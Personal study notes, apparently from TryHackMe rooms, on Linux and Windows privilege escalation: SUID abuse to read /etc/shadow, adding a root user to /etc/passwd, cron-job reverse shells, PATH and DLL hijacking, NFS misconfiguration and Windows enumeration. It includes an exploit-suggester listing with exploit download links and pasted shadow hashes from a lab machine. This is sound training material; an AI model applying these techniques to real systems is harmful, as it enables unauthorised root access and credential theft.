allows us to create, edit and read files using the file owner’s privilege. Nano
is owned by root, which probably means that we can read and edit files at a
higher privilege level than our current user has. At this stage, we have two
basic options for privilege escalation: reading the /etc/shadow file
or adding our user to /etc/passwd.

Below are simple steps using both vectors.

reading the /etc/shadow file

We see that the nano text editor has the SUID
bit set by running the find / -type f -perm -04000
-ls 2>/dev/null command.

nano /etc/shadow will print the
contents of the /etc/shadow file.
We can now use the unshadow tool to create a file crackable by John the Ripper.
To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.

The unshadow tool’s usage can be seen below;

unshadow passwd.txt shadow.txt > passwords.txt

With the correct wordlist and a little luck, John the
Ripper can return one or several passwords in cleartext. For a more detailed
room on John the Ripper, you can visit  https://tryhackme.com/room/johntheripper0

The
other option would be to add a new user that has root privileges. This would
help us circumvent the tedious process of password cracking. Below is an easy
way to do it:

We will
need the hash value of the password we want the new user to have. This can be
done quickly using the openssl tool on Kali Linux.

We will then add this password with a username
to the /etc/passwd file.

Once our user is added (please note how root:/bin/bash was
used to provide a root shell) we will need to switch to this user and hopefully
should have root privileges.

Check if you can
execute command on behalf of another user:

Find / -type f -perm
-us -user USERNAME -ls 2> /dev/null

Capabilities

Another method system administrators can use to
increase the privilege level of a process or binary is “Capabilities”.
Capabilities help manage privileges at a more granular level. For example, if
the SOC analyst needs to use a tool that needs to initiate socket connections,
a regular user would not be able to do that. If the system administrator does
not want to give this user higher privileges, they can change the capabilities
of the binary. As a result, the binary would get through its task without needing
a higher privilege user.

The capabilities man page provides detailed
information on its usage and options.

We can use the getcap tool
to list enabled capabilities.

When run as an unprivileged user, getcap
-r / will generate a huge amount of errors, so it is good
practice to redirect the error messages to /dev/null.

Please note that neither vim nor its copy has the SUID
bit set. This privilege escalation vector is therefore not discoverable when
enumerating files looking for SUID.

GTFObins has a good list of binaries that can be
leveraged for privilege escalation if we find any set capabilities.

We notice that vim can be used with the following
command and payload:

This will launch a root shell as seen below;

Cron Jobs

Cron jobs are used to run scripts or binaries at
specific times. By default, they run with the privilege of their owners and not
the current user. While properly configured cron jobs are not inherently
vulnerable, they can provide a privilege escalation vector under some
conditions.

The idea is quite simple; if there is a scheduled task
that runs with root privileges and we can change the script that will be run,
then our script will run with root privileges.

Cron job configurations are stored as crontabs (cron
tables) to see the next time and date the task will run.

Each user on the system have their crontab file and
can run specific tasks whether they are logged in or not. As you can expect,
our goal will be to find a cron job set by root and have it run our script,
ideally a shell.

Any user can read the file keeping system-wide
cron jobs under /etc/crontab

While CTF machines can have cron jobs running every
minute or every 5 minutes, you will more often see tasks that run daily, weekly
or monthly in penetration test engagements.

You can see the backup.sh script
was configured to run every minute. The content of the file shows a simple
script that creates a backup of the prices.xls file.

As our current user can access this script, we can
easily modify it to create a reverse shell, hopefully with root privileges.

The script will use the tools available on the target
system to launch a reverse shell.

Two points to note;

The command syntax will vary depending on
the available tools. (e.g. nc will
probably not support the -e option
you may have seen used in other cases)

We should
always prefer to start reverse shells, as we not want to compromise the
system integrity during a real penetration testing engagement.

The file should look like this;

We will now run a listener on our attacking machine to
receive the incoming connection.

Crontab is always worth checking as it can sometimes
lead to easy privilege escalation vectors. The following scenario is not
uncommon in companies that do not have a certain cyber security maturity level:

System administrators need to run a script at regular
intervals.

They create a
cron job to do this

After a
while, the script becomes useless, and they delete it

They do not
clean the relevant cron job

This change management issue leads to a potential
exploit leveraging cron jobs.

The example above shows a similar situation where the
antivirus.sh script was deleted, but the cron job still exists.

If the full path of the script is not defined (as it
was done for the backup.sh script), cron will refer to the paths listed under
the PATH variable in the /etc/crontab file. In this case, we should be able to
create a script named “antivirus.sh” under our user’s home folder and it should
be run by the cron job.

The file on the target system should look familiar:

The incoming reverse shell connection has root
privileges:

In the odd event you find an existing script or task
attached to a cron job, it is always worth spending time to understand the
function of the script and how any tool is used within the context. For
example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.

Root
Ownership

Friday,
April 29, 2022

3:38
PM

A new path of priv
esc I have not seen before until the "Blog" machine on TryHackMe -
checking which programs are owned by root. After finding one and using ltrace,
I noticed it checks for an environmental variable of "admin." I created
the env variable and set it to 1 and then got root as a result. Steps are
below:

Check with files are
owned by root

find / -type f -user
root -perm -u=s 2>/dev/null

If running checker,
you just get "Not an Admin" which is apparently checking an
environmental variable (can see this with ltrace)

I created an
environmental variable for "admin" and set it to 1. Then I ran the
checker command and it gave me root

PATH

If a folder for which your user has write permission
is located in the path, you could potentially hijack an application to run a
script. PATH in Linux is an environmental variable that tells the operating
system where to search for executables. For any command that is not built into
the shell or that is not defined with an absolute path, Linux will start
searching in folders defined under PATH. (PATH is the environmental variable
were are talking about here, path is the location of a file).

Typically the PATH will look like this:

If we type “thm” to the command line, these are the
locations Linux will look in for an executable called thm. The scenario below
will give you a better idea of how this can be leveraged to increase our
privilege level. As you will see, this depends entirely on the existing
configuration of the target system, so be sure you can answer the questions
below before trying this.

What folders are located under $PATH

Does your
current user have write privileges for any of these folders?

Can you
modify $PATH?

Is there a
script/application you can start that will be affected by this
vulnerability?

For demo purposes, we will use the script below:

This script tries to launch a system binary called
“thm” but the example can easily be replicated with any binary.

We compile this into an executable and set the SUID
bit.

Our user now has access to the “path” script with SUID
bit set.

Once executed “path” will look for an executable named
“thm” inside folders listed under PATH.

If any writable folder is listed under PATH we could
create a binary named thm under that directory and have our “path” script run
it. As the SUID bit is set, this binary will run with root privilege

A simple search for writable folders can done
using the “find / -writable 2>/dev/null”
command. The output of this command can be cleaned using a simple cut and sort
sequence.

Some CTF scenarios can present different folders but a
regular system would output something like we see above.

Comparing this with PATH will help us find folders we
could use.

We see a number of folders under /usr, thus it could
be easier to run our writable folder search once more to cover subfolders.

An alternative could be the command below.

find / -writable 2>/dev/null | cut -d
"/" -f 2,3 | grep -v proc | sort -u

We have added “grep -v proc” to get rid of the many
results related to running processes.

Unfortunately, subfolders under /usr are not writable

The folder that will be easier to write to is
probably /tmp. At this point because /tmp is not present in PATH so we will
need to add it. As we can see below, the “export PATH=/tmp:$PATH”
command accomplishes this.

At this point the path script will also look under the
/tmp folder for an executable named “thm”.

Creating this command is fairly easy by copying
/bin/bash as “thm” under the /tmp folder.

We have given executable rights to our copy of
/bin/bash, please note that at this point it will run with our user’s right.
What makes a privilege escalation possible within this context is that the path
script runs with root privileges.

NFS

Privilege escalation vectors are not confined to
internal access. Shared folders and remote management interfaces such as SSH
and Telnet can also help you gain root access on the target system. Some cases
will also require using both vectors, e.g. finding a root SSH private key on
the target system and connecting via SSH with root privileges instead of trying
to increase your current user’s privilege level.

Another vector that is more relevant to CTFs and exams
is a misconfigured network shell. This vector can sometimes be seen during
penetration testing engagements when a network backup system is present.

NFS (Network File Sharing) configuration is kept in
the /etc/exports file. This file is created during the NFS server installation
and can usually be read by users.

The critical element for this privilege escalation
vector is the “no_root_squash” option you can see above. By default, NFS will
change the root user to nfsnobody and strip any file from operating with root
privileges. If the “no_root_squash” option is present on a writable share, we
can create an executable with SUID bit set and run it on the target system.

We will start by enumerating mountable shares from our
attacking machine.

We will mount one of the “no_root_squash” shares to
our attacking machine and start building our executable.

As we can set SUID bits, a simple executable that will
run /bin/bash on the target system will do the job.

Once we compile the code we will set the SUID bit.

You will see below that both files (nfs.c and nfs are
present on the target system. We have worked on the mounted share so there was
no need to transfer them).

Notice the nfs executable has the SUID bit set on the
target system and runs with root privileges.

Capstone

Enumeration

Linux
ip-10-10-160-207 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux

Linux version
3.10.0-1160.el7.x86_64 ([email-masked]) (gcc version 4.8.5
20150623 (Red Hat 4.8.5-44) (GCC) ) #1 SMP Mon Oct 19 16:18:59 UTC 2020

Perl5 lib (possibly
for scripting/exploits)

[leonard@ip-10-10-160-207
tmp]$ ./exploitfinder.sh

Available
information:

Kernel version:
3.10.0

Architecture: x86_64

Distribution: RHEL

Distribution
version: 7

Additional checks
(CONFIG_*, sysctl entries, custom Bash commands): performed

Package listing:
from current OS

Searching among:

78 kernel space
exploits

48 user space
exploits

Possible Exploits:

[+] [CVE-2016-5195]
dirtycow

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

Exposure: highly probable

Tags:
debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},[
RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7} ],ubuntu=16.04|14.04|12.04

Download URL: https://www.exploit-db.com/download/40611

Comments: For RHEL/CentOS see exact
vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195]
dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

Exposure: highly probable

Tags: debian=7|8,[ RHEL=5|6|7
],ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}

Download URL: https://www.exploit-db.com/download/40839

ext-url: https://www.exploit-db.com/download/40847

Comments: For RHEL/CentOS see exact
vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+]
[CVE-2017-1000253] PIE_stack_corruption

Details: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt

Exposure: probable

Tags: RHEL=6,[ RHEL=7
]{kernel:3.10.0-514.21.2|3.10.0-514.26.1}

Download URL: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c

[+] [CVE-2016-4989]
setroubleshoot 2

Details: https://c-skills.blogspot.com/2016/06/lets-feed-attacker-input-to-sh-c-to-see.html

Exposure: probable

Tags: [ RHEL=6|7 ]

Download URL: https://github.com/stealth/troubleshooter/raw/master/straight-shooter.c

[+] [CVE-2015-5287]
abrt/sosreport-rhel7

Details: https://www.openwall.com/lists/oss-security/2015/12/01/1

Exposure: probable

Tags: [ RHEL=7 ]{abrt:2.1.11-12.el7}

Download URL: https://www.openwall.com/lists/oss-security/2015/12/01/1/1

[+] [CVE-2015-3315]
raceabrt

Details: http://seclists.org/oss-sec/2015/q2/130

Exposure: probable

Tags:
fedora=19{abrt:2.1.5-1.fc19},fedora=20{abrt:2.2.2-2.fc20},fedora=21{abrt:2.3.0-3.fc21},[
RHEL=7 ]{abrt:2.1.11-12.el7}

Download URL: https://gist.githubusercontent.com/taviso/fe359006836d6cd1091e/raw/32fe8481c434f8cad5bcf8529789231627e5074c/raceabrt.c

[+] [CVE-2021-3156]
sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

Exposure: less probable

Tags: mint=19,ubuntu=18|20, debian=10

Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156]
sudo Baron Samedit 2

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

Exposure: less probable

Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20,
debian=9|10

Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555]
Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html

Exposure: less probable

Tags: ubuntu=20.04{kernel:5.8.0-*}

Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c

Comments: ip_tables kernel module must be
loaded

[+] [CVE-2019-18634]
sudo pwfeedback

Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/

Exposure: less probable

Tags: mint=19

Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c

Comments: sudo configuration requires
pwfeedback to be enabled.

[+] [CVE-2019-15666]
XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc

Exposure: less probable

Download URL:

Comments: CONFIG_USER_NS needs to be
enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2018-14665]
raptor_xorgy

Details: https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html

Exposure: less probable

Tags: centos=7.4

Download URL: https://www.exploit-db.com/download/45922

Comments: X.Org Server before 1.20.3 is
vulnerable. Distros use own versioning scheme. Manual verification needed.

[+]
[CVE-2018-1000001] RationalLove

Details: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/

Exposure: less probable

Tags:
debian=9{libc6:2.24-11+deb9u1},ubuntu=16.04.3{libc6:2.23-0ubuntu9}

Download URL: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c

Comments: kernel.unprivileged_userns_clone=1
required

[+] [CVE-2017-7308]
af_packet

Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html

Exposure: less probable

Tags:
ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c

Comments: CAP_NET_RAW cap or
CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for
additional kernels

[+] [CVE-2017-6074]
dccp

Details: http://www.openwall.com/lists/oss-security/2017/02/22/3

Exposure: less probable

Tags:
ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}

Download URL: https://www.exploit-db.com/download/41458

Comments: Requires Kernel be built with
CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+]
[CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64

Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt

Exposure: less probable

Tags:
debian=7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611

Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c

Comments: Uses "Stack Clash"
technique, works against most SUID-root binaries

[+] [CVE-2016-2384]
usb-midi

Details: https://xairy.github.io/blog/2016/cve-2016-2384

Exposure: less probable

Tags: ubuntu=14.04,fedora=22

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c

Comments: Requires ability to plug in a
malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-9322]
BadIRET

Details: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

Exposure: less probable

Tags: RHEL<=7,fedora=20

Download URL: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz

[+] [CVE-2015-8660]
overlayfs (ovl_setattr)

Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/

Exposure: less probable

Tags:
ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}

Download URL: https://www.exploit-db.com/download/39166

[+] [CVE-2015-8660]
overlayfs (ovl_setattr)

Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/

Exposure: less probable

Download URL: https://www.exploit-db.com/download/39230

[+] [CVE-2015-3246]
userhelper

Details: https://www.qualys.com/2015/07/23/cve-2015-3245-cve-2015-3246/cve-2015-3245-cve-2015-3246.txt

Exposure: less probable

Tags:
RHEL=6{libuser:0.56.13-(4|5).el6},RHEL=6{libuser:0.60-5.el7},fedora=13|19|20|21|22

Download URL: https://www.exploit-db.com/download/37706

Comments: RHEL 5 is also vulnerable, but
installed version of glibc (2.5) lacks functions needed by roothelper.c

[+] [CVE-2015-3202]
fuse (fusermount)

Details: http://seclists.org/oss-sec/2015/q2/520

Exposure: less probable

Tags: debian=7.0|8.0,ubuntu=*

Download URL: https://www.exploit-db.com/download/37089

Comments: Needs cron or system admin
interaction

[+] [CVE-2015-1862]
newpid (abrt)

Details: http://openwall.com/lists/oss-security/2015/04/14/4

Exposure: less probable

Tags: fedora=20

Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c

[+] [CVE-2014-5207]
fuse_suid

Details: https://www.exploit-db.com/exploits/34923/

Exposure: less probable

Download URL: https://www.exploit-db.com/download/34923

[+] [CVE-2014-4014]
inode_capable

Details: http://www.openwall.com/lists/oss-security/2014/06/10/4

Exposure: less probable

Tags: ubuntu=12.04

Download URL: https://www.exploit-db.com/download/33824

[+] [CVE-2014-0196]
rawmodePTY

Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html

Exposure: less probable

Download URL: https://www.exploit-db.com/download/33516

[+] [CVE-2016-0728]
keyring

Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Exposure: less probable

Download URL: https://www.exploit-db.com/download/40003

Comments: Exploit takes about ~30 minutes to
run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

/etc/shadow read w/
base64 exploit

missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::

root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::

----
TRYHACKME ---

Friday,
March 18, 2022

8:20
AM

Information
Gathering

User Enumeration

Other
users that can access the target system can reveal interesting information. A
user account named “Administrator” can allow you to gain higher privileges, or
an account called “test” can have a default or easy to guess password. Listing
all users present on the system and looking at how they are configured can
provide interesting information.

The
following commands will help us enumerate users and their privileges on the
target system.

Current user’s privileges: whoami /priv

List users: net users

List details of a user: net user
username (e.g. net
user Administrator)

Other users logged in simultaneously: qwinsta (the query
session command
can be used the same way)

User groups defined on the system: net
localgroup

List members of a specific group: net
localgroup groupname (e.g. net localgroup Administrators)

Collecting system information

The systeminfo  command will
return an overview of the target system. On some targets, the amount of data
returned by this command can be overwhelming, so you can always grep the output
as seen below:

systeminfo | findstr /B /C:"OS Name"
/C:"OS Version"

In a corporate environment, the computer name can also provide
some idea about what the system is used for or who the user is. The hostname command can be
used for this purpose. Please remember that if you have proceeded according to
a proper penetration testing methodology, you probably know the hostname at
this stage.

Searching files

Configuration
files of software installed on the target system can sometimes provide us with
cleartext passwords. On the other hand, some computer users have the unsafe
habit of creating and using files to remember their passwords (e.g.
passwords.txt). Finding these files can shorten your path to administrative
rights or even easy access to other systems and software on the target network.

The findstr command can be
used to find such files in a format similar to the one given below:

findstr /si password *.txt

Command
breakdown:

findstr: Searches for patterns of text in files.

/si: Searches the current directory and all
subdirectories (s), ignores upper case / lower case differences (i)

password: The command will search for the string
“password” in files

*.txt: The search will cover files that have a .txt
extension

The
string and file extension can be changed according to your needs and the target
environment, but “.txt”, “.xml”, “.ini”, “*.config”, and “.xls” are usually a
good place to start.

Patch level

Microsoft
regularly releases updates and patches for Windows systems. A missing critical
patch on the target system can be an easily exploitable ticket to privilege
escalation. The command below can be used to list updates installed on the
target system.

wmic qfe get
Caption,Description,HotFixID,InstalledOn

WMIC is a command-line tool on Windows that provides an
interface for Windows Management Instrumentation (WMI). WMI is used for
management operations on Windows and is a powerful tool worth knowing. WMIC can
provide more information than just installed patches. For example, it can be
used to look for unquoted service path vulnerabilities we will see in later
tasks. WMIC is deprecated in Windows 10, version 21H1 and the 21H1
semi-annual channel release of Windows Server. For newer Windows versions you
will need to use the WMI PowerShell cmdlet. More information can be found here.

Network Connections

According
to the most widely accepted methodologies, by this stage of the penetration
testing process, you should already have conducted a comprehensive scan on the
target system. In some cases, we see that some services run locally on a system
and can only be accessible locally. System Administrators that lack basic cyber
security knowledge tend to be laxer when setting services that are only
accessible over the system (e.g. only responding to requests sent to
127.0.0.1). As we have access to the target system, such services can provide a
ticket to a higher privileged user.

The netstat command can be used to list all listening ports on
the target system. The netstat -ano command will
return an output similar to the one listed below:

Output
of the Netstat Command

C:\Users\user\Desktop>netstat -ano

Active Connections

Proto  Local
Address          Foreign Address        State           PID

TCP
0.0.0.0:135
0.0.0.0:0
LISTENING       68

TCP
0.0.0.0:445
0.0.0.0:0              LISTENING       4

TCP
0.0.0.0:3389
0.0.0.0:0
LISTENING       1092

TCP
0.0.0.0:5985           0.0.0.0:0              LISTENING       4

TCP
0.0.0.0:47001
0.0.0.0:0
LISTENING       4

TCP
0.0.0.0:49664
0.0.0.0:0
LISTENING       660

TCP
0.0.0.0:49665
0.0.0.0:0
LISTENING       1348

TCP
0.0.0.0:49666
0.0.0.0:0
LISTENING       1636

TCP
0.0.0.0:49667
0.0.0.0:0
LISTENING       2288

TCP
0.0.0.0:49668
0.0.0.0:0              LISTENING       2468

TCP
0.0.0.0:49671
0.0.0.0:0
LISTENING       780

TCP
0.0.0.0:49681          0.0.0.0:0              LISTENING       788

The command above can be broken down as follows;

-a: Displays all active connections and
listening ports on the target system.

-n: Prevents name resolution. IP Addresses
and ports are displayed with numbers instead of attempting to resolves
names using DNS.

-o: Displays the process ID using each
listed connection.

Any port listed as “LISTENING” that was not discovered
with the external port scan can present a potential local service.

If you
uncover such a service, you can try port forwarding to connect and potentially
exploit it. The port forwarding process will allow tunnelling your connection
over the target system, allowing you to access ports and services that are
unreachable from outside the target system. We will not cover port forwarding
as it is beyond the scope of this room.

Scheduled Tasks

Some
tasks may be scheduled to run at predefined times. If they run with a
privileged account (e.g. the System Administrator account) and the executable
they run can be modified by the current user you have, an easy path for
privilege escalation can be available.

The schtasks command can be
used to query scheduled tasks.

schtasks /query /fo LIST /v

Drivers

Drivers are additional software installed to allow the operating
system to interact with an external device. Printers, web cameras, keyboards,
and even USB memory sticks can need drivers to run. While operating system
updates are usually made relatively regularly, drivers may not be updated as
frequently. Listing available drivers on the target system can also present a
privilege escalation vector. The driverquery command will
list drivers installed on the target system. You will need to do some online
research about the drivers listed and see if any presents a potential privilege
escalation vulnerability.

Antivirus

While
you will seldom face an antivirus in CTF events, a real-world penetration
testing engagement will often require you to deal with some form of antivirus.
Various reasons will cause an antivirus to miss your shell access without you
trying to evade it. For example, the antivirus software will not detect your
presence if you have accessed the target system without using a trojan (e.g.
using credentials and connect over RDP). However, to reach a higher privilege
level, you may need to run scripts or other tools on the target system. It is,
therefore, good practice to check if any antivirus is present.

Typically,
you can take two approaches: looking for the antivirus specifically or listing
all running services and checking which ones may belong to antivirus software.

The
first approach may require some research beforehand to learn more about service
names used by the antivirus software. For example, the default antivirus
installed on Windows systems, Windows Defender’s service name is windefend. The
query below will search for a service named “windefend” and return its current
state.

sc query windefend

While
the second approach will allow you to detect antivirus software without prior
knowledge about its service name, the output may be overwhelming.

sc queryex type=service

Tools of the
Trade

Several scripts exist to conduct system enumeration in
ways similar to the ones seen in the previous task. These tools can shorten the
enumeration process time and uncover different potential privilege escalation
vectors. However, please remember that automated tools can sometimes miss
privilege escalation. While real penetration testing engagements may have
targets where no known privilege escalation technique works, in CTFs, if the
initial result does not return anything useful, try a different approach.

Below are a few tools commonly used to identify
privilege escalation vectors.

WinPEAS

WinPEAS is a script developed to enumerate the target
system to uncover privilege escalation paths. You can find more information
about winPEAS and download either the precompiled executable or a .bat script.
Please note, Windows Defender detects and disables winPEAS. WinPEAS will run
commands similar to the ones listed in the previous task and print their
output. The output from winPEAS can be lengthy and sometimes difficult to read.
This is why it would be good practice to always redirect the output to a file,
as shown below:

winpeas.exe > outputfile.txt

WinPEAS can be downloaded here

PowerUp

PowerUp is a PowerShell script that searches
common privilege escalation on the target system. You can run it with the Invoke-AllChecks option
that will perform all possible checks on the target system or use it to conduct
specific checks (e.g. the Get-UnquotedService option
to only look for potential unquoted service path vulnerabilities).

PowerUp can be downloaded here.

Reminder: To run PowerUp on the target system, you may need to
bypass the execution policy restrictions. To achieve this, you can launch
PowerShell using the command below.

Running
PowerUp.ps1 on the Target System

C:\Users\user\Desktop>powershell.exe -nop -exec
bypass

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\user\Desktop> Import-Module
.\PowerUp.ps1

PS C:\Users\user\Desktop> Invoke-AllChecks

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with
administrative privileges...

Windows Exploit Suggester

Some exploit suggesting scripts (e.g. winPEAS) will
require you to upload them to the target system and run them there. This may
cause antivirus software to detect and delete them. To avoid making unnecessary
noise that can attract attention, you may prefer to use Windows Exploit
Suggester, which will run on your attacking machine (e.g. Kali or TryHackMe
AttackBox).

Windows Exploit Suggester is a Python
script that can be found and downloaded here

Once installed, and before you use it, type
the windows-exploit-suggester.py –update command
to update the database. The script will refer to the database it creates to
check for missing patches that can result in a vulnerability you can use to
elevate your privileges on the target system.

To use the script, you will need to run
the systeminfo command on the target
system. Do not forget to direct the output to a .txt file you will need to move
to your attacking machine.

Once this is done, windows-exploit-suggester.py can be
run as follows;

windows-exploit-suggester.py --database
2021-09-21-mssb.xls --systeminfo sysinfo_output.txt

A newer version of Windows Exploit
Suggester is available here. Depending on the version of the target system, using the newer version
could be more efficient.

Metasploit

If you already have a Meterpreter shell on the
target system, you can use the multi/recon/local_exploit_suggester module
to list vulnerabilities that may affect the target system and allow you to
elevate your privileges on the target system.

Vulnerable
Software

Software installed on the target system can
present various privilege escalation opportunities. As with drivers,
organizations and users may not update them as often as they update the
operating system. You can use the wmic tool
seen previously to list software installed on the target system and its
versions. The command below will dump information it can gather on installed
software.

wmic product

This output is not easy to read, and depending on the
screen size over which you have access to the target system; it can seem
impossible to find anything useful. You could filter the output to obtain a
cleaner output with the command below.

wmic product get name,version,vendor

Be careful; due to some backward compatibility
issues (e.g. software written for 32 bits systems running on 64 bits),
the wmic product command may not
return all installed programs. The target machine attached to this task will
provide you with some hints. You will see shortcuts for installed software, and
you will notice they do not appear in the results of the wmic
product command. Therefore, It is worth checking running
services using the command below to have a better understanding of the target
system.

wmic service list brief

As the output of this command can be
overwhelming, you can grep the output for running services by adding a findstr command
as shown below.

wmic service list brief | findstr
"Running"

If you need more information on any service,
you can simply use the sc qc command
as seen below.

sc qc
for more information on a service

C:\Users\user>sc qc RemoteMouseService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RemoteMouseService

TYPE               : 10  WIN32_OWN_PROCESS

START_TYPE         : 2
AUTO_START

ERROR_CONTROL      : 1
NORMAL

BINARY_PATH_NAME   : C:\Program Files (x86)\Remote
Mouse\RemoteMouseService.exe

LOAD_ORDER_GROUP   :

TAG                : 0

DISPLAY_NAME       : RemoteMouseService

DEPENDENCIES       :

SERVICE_START_NAME : LocalSystem

C:\Users\user>

At this point, you have a few options to find any
possible privilege escalation exploit that can be used against software
installed on the target system.

Searchsploit

Metasploit

Exploit-DB

Github

Google

Be careful using exploit code that is not verified or
is part of the Metasploit framework, as it can contain malicious code that
could affect your attacking system. Be sure you understand the exploit code
well, go over any obfuscated parts, and have a good understanding of all
commands the exploit code will attempt to run.

DLL
Hijacking

DLL hijacking is an effective technique that can allow
you to inject code into an application. Some Windows executables will use
Dynamic Link Libraries (DLLs) when running. We think of DLLs as files that
store additional functions that support the main function of the .exe file. In
a way, DLLs are executable files, but they can not be run directly like an exe
file. They should be launched by other applications (or exe in most cases). If
we can switch the legitimate DLL file with a specially crafted DLL file, our
code will be run by the application. DLL hijacking requires an application
(typically an exe file) that either has a missing DLL file, or where the search
order can be used to insert the malicious DLL file.

Introduction to DLL Files

Windows uses many DLL files, as you can see simply by
visiting the C:\Windows\System32 folder in any Windows. A single DLL file can
be used by many different exe files, or they can be dedicated to a single
executable. You may have noticed these when installing an application on
Windows. The screenshot below shows the contents of the 7-Zip file archiver
folder in the installation path, under C:\Program Files\.

You will notice some file types are “application”
while others (look for the .dll extension) are described as “application
extension”. So when the application runs, it will “call” on these other files
for different purposes. Any application can have its own DLL files but can also
call on Windows DLL files.

Another point to keep in mind is that a missing DLL
will not always result in an error. When launched, the application will look
for DLL files it needs and, while a missing critical DLL file can stop the
application from running, lesser important ones may not result in visible
errors.

A DLL Hijacking scenario consists of replacing a
legitimate DLL file with a malicious DLL file that will be called by the
executable and run. By this point, you may have an idea about the specific
conditions required for a successful DLL hijacking attack. These can be
summarized as;

An application that uses one or more DLL files.

A way to
manipulate these DLL files.

Manipulating DLL files could mean
replacing an existing file or creating a file in the location where the
application is looking for it. To have a better idea of this, we need to know
where applications look for DLL files. At this point, we will look to the DLL
search order. Microsoft has a document on the subject located here.

In summary, for standard desktop applications, Windows
will follow one of the orders listed below depending on if the
SafeDllSearchMode is enabled or not.

If SafeDllSearchMode is
enabled, the search order is as follows:

The directory from which the application loaded.

The
system directory. Use the GetSystemDirectory function to get the
path of this directory.

The 16-bit
system directory. There is no function that obtains the path of this
directory, but it is searched.

The
Windows directory. Use the GetWindowsDirectory function to get the
path of this directory.

The current
directory.

The
directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search
path.

If SafeDllSearchMode is
disabled, the search order is as follows:

The directory from which the application loaded.

The current
directory.

The
system directory. Use the GetSystemDirectory function to get the
path of this directory.

The 16-bit
system directory. There is no function that obtains the path of this
directory, but it is searched.

The
Windows directory. Use the GetWindowsDirectory function to get the
path of this directory.

The
directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search
path.

For example, if our application.exe requires the
app.dll file to run, it will look for the app.dll file first in the directory
from which it is launched. If this does not return any match for app.dll, the
search will continue in the above-specified order. If the user privileges we
